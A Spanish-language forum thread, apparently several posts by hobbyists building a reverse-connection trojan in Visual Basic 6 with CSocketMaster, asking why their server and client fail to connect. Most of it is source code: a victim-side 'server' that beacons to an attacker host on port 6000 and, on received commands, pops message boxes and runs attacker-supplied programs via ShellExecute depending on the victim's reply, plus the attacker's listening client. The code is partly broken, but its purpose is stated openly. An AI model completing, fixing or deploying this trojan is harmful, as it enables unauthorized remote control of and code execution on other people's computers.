Mensajes

bueno ultimamente estuve haciendo un troyano inverso en donde la primera parte que hice trabaja con diferentes msgbox y acciones segun la respuesta de la victima... se entendio la idea??

el codigo un poco engorroso

servidor:

Código (vb) [Seleccionar] Expandir

Option Explicit
Public WithEvents server As CSocketMaster

Private Sub Form_Load()
Set server = New CSocketMaster
server.CloseSck
server.RemoteHost = "ip-ip-ip-ip"
server.Connect server.RemoteHost, 6000
End Sub

Private Sub Label1_Click()
If server.State = sckConnected Then
Label1.Caption = "conectado"
ElseIf server.State = sckClosed Then
Label1.Caption = "desconectado"
ElseIf server.State = sckConnecting Then
Label1.Caption = "conectando"
End If
End Sub


Private Sub Timer1_Timer()
If server.State = 0 Then
server.Connect server.RemoteHost, 6000
ElseIf server.State = 7 Then
Else
server.CloseSck
End If
End Sub

Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim res As String
Dim res1 As String


server.GetData datos



Select Case LCase(Split(datos, "|")(0))

Case LCase("mensaje")

If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then
res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3))
If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja"
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then
res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3))
If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal
End If
    '''''


''''''''''''

''''''''''''
End Select

End Sub

cliente:

Código (vb) [Seleccionar] Expandir

Option Explicit
Public WithEvents ws As CSocketMaster

Private Sub Check2_Click()
If Check2.Value = 1 Then
Check3.Enabled = False
ElseIf Check2.Value = 0 Then
Check3.Enabled = True
End If
End Sub

Private Sub Check3_Click()
If Check3.Value = 1 Then
Check2.Enabled = False
ElseIf Check3.Value = 0 Then
Check2.Enabled = True
End If
If Check3.Value = 1 Then
Option1.Enabled = False
Option2.Enabled = False
Option3.Enabled = False
Option5.Enabled = False
Text6.Enabled = False
End If
If Check3.Value = 0 Then
Option1.Enabled = True
Option2.Enabled = True
Option3.Enabled = True
Option5.Enabled = True
Text6.Enabled = True
End If
End Sub

Private Sub Command1_Click()
Dim datos As String
Dim datos1 As String
Dim mensajes As String
Dim titulo As String
datos1 = Check1.Value
mensajes = Text1.Text
titulo = Text4.Text
datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option4.Value & "|" & Check3.Value & "|" & Text5.Text & "|" & Option5.Value & "|" & Text6.Text
'''''''''''''''''''''''''1'''''''''''''''''''''2''''''''''''''''''3'''''''''''''''''''4'''''''''''''''''''5''''''''''''''''''''6''''''''''''''''''''7''''''''''''''''''''8'''''''''''''''''''9'''''
ws.SendData datos

End Sub

Private Sub Command2_Click()
ws.CloseSck
ws.LocalPort = Text2.Text
ws.Listen
Text2.Enabled = False
End Sub

Private Sub Form_Load()
Set ws = New CSocketMaster
End Sub

Private Sub Label5_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
If ws.State = sckConnected Then
Label5.Caption = "Conectado"
ElseIf ws.State = sckClosed Then
Label5.Caption = "Desconectado"
ElseIf ws.State = sckConnecting Then
Label5.Caption = "Conectando"
End If
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.CloseSck
ws.Accept requestID
End Sub

ya se que es muy engorroso pero alguno que tenga ganas  

buen el problem principal es: dentro del visual basic (dos visual basic separados (cliente-servidor)) funciona bien

fuera (osea el .exe final) no recibe los datos

adiooos

Hola a todos, estuve haciendo un programita en estos ultimos días, pero me choque con un problema.
El programa es un troyano cliente-servidor (inverso), y una de sus funciones es mandar mensajes con: si,no,cancelar...si no y otra sin nada..y con la respuesta de la victima ejecutar algo (despues veo bien qué)

supongo que ya entendieron maso menos la idea
parte del codigo del server

Código (vb) [Seleccionar] Expandir

Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim Data() As String

server.GetData datos

Select Case LCase(Split(datos, "|")(0))

Case LCase("mensaje")

'''''''''''''


If (Split(datos, "|")(2)) = 1 Then
        MsgBox Split(datos, "|")(1), vbYesNoCancel, Split(datos, "|")(3)
     '''''
ElseIf (Split(datos, "|")(4)) = 1 Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3) = vbYes ' aca no se como haceeeeeeeer!!

''''''''''''

Else
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
       
End If
''''''''''''
End Select

End Sub

cliente :

Código (vb) [Seleccionar] Expandir

Private Sub Command1_Click()
Dim datos As String
Dim datos1 As String
Dim mensajes As String
Dim titulo As String
datos1 = Check1.Value
mensajes = Text1.Text
titulo = Text4.Text
datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option1.Value


ws.SendData datos

End Sub

la conexión esta bien no pongo el resto del código porque ahí  no hay problema.

Adios y Muchas Gracias

ya tengo solucionado ese tema igualemnte muchas gracias

adios

¿Podrias poner el codigo en la parte de conexion entre servidor y cliente?

adios 5oler 

nos vemos

Gracias carlitrosss6  por sacar nuestras dudas

adios

Por favor si hay alguien que sepa de esto que nos de alguna solucion ya que hay varios interesados en cambiarnos a Cscoketmaster

por favoor ayuda y gracias a los que respondieron!

adios

MM ya lo probe y no funciona tampoco.. osea, el problema principal es la conexion,se que ahí hay algo mal, el archivo cliente escucha, pero el server no conecta.

gracias igualmente 

adios

hola, bueno yo anteriormente postee sobre un problema con el Csocketmaster...parece que está solucionado

pero ahora me surgió otro problemam al hacer el troyano de conexion inversa (con los winsock) me funciona bien, pero al hacer el server y el cliente el servidor no conecta..

a ver si laguien me puede ayudar

server.exe (envia a la victima)

Código (vb) [Seleccionar] Expandir

Option Explicit
Dim WithEvents cliente As CSocketMaster

Private Sub Coneccion_Timer_Timer()
If Not cliente.State = sckConnected Then
cliente.CloseSck
cliente.Connect cliente.RemoteHost, 6000
End If
End Sub

Private Sub Form_Load()
Set cliente = New CSocketMaster
cliente.CloseSck
cliente.RemoteHost = "ip-o-dominio-no-ip"
cliente.Connect cliente.RemoteHost, 6000
End Sub
Private Sub Label1_Click()
If cliente.State = sckConnected Then
Label1.Caption = "conectado"
Else: Label1.Caption = "desconectado"
End If
End Sub

cliente.exe (atacante)

Código (vb) [Seleccionar] Expandir

Option Explicit
Dim WithEvents server As CSocketMaster

Private Sub Command1_Click()
server.CloseSck
server.Bind 6000
server.Listen
End Sub
Private Sub Form_Load()
Set server = New CSocketMaster
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
server.CloseSck
server.Accept requestID
End Sub


bueno el que tenga ganas de ayudar bienvenido sea 

adios y gracias

nadie???

porfavor ayuda

buen estubo programando en winsock algunas aplicaciones.. y lei un poco de que es mejor usar el CSocketmaster, bueno el problema es que no encutro mucho algo asi como un tutorial.,. o funciones báscias

la idea es hacer una simple conexion a un cliente (troyano inverso)

y lo que me pasa es lo siguiente: el code

Código (vb) [Seleccionar] Expandir

Option Explicit
Dim WithEvents Server As CSocketMaster
Private strRemoteHost As String

Private Sub Form_Load()
Set Server = New CSocketMaster
strRemoteHost = "IP.IP.IP.iP"
End Sub

Private Sub Command1_Click()

Server.Bind
Server.Connect

End Sub

mas los dos modulos

ya se ese codigo es un desastre pero la verdad estoy comenzando y estoy medio perdido...

el error que me da en visual basic es:

me marca el class module: CSocketmaster

Err.Raise sckInvalidOp, "CSocketMaster.Connect", "Invalid operation at current state"

y en el .exe : run time error: '40020'

muchas gracias

adioos